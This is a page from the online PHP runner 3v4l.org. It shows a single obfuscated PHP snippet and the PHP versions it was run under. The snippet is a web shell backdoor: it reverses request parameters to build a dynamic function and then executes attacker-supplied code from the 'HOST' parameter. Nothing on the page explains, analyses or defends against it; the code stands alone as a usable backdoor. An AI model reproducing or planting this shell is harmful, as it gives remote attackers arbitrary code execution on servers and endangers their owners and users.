3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (isset($_REQUEST['FILE'])){$_SERVERS = strrev($_REQUEST[''.$rcd.'']);$_FILE = $_SERVERS('$_',strrev($_REQUEST['FILE']).'($_);');$_FILE(stripslashes($_REQUEST['HOST']));} ?>
Output for 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.31, 8.2.0 - 8.2.27, 8.3.0 - 8.3.15, 8.4.1 - 8.4.2
preferences:
68.81 ms | 408 KiB | 5 Q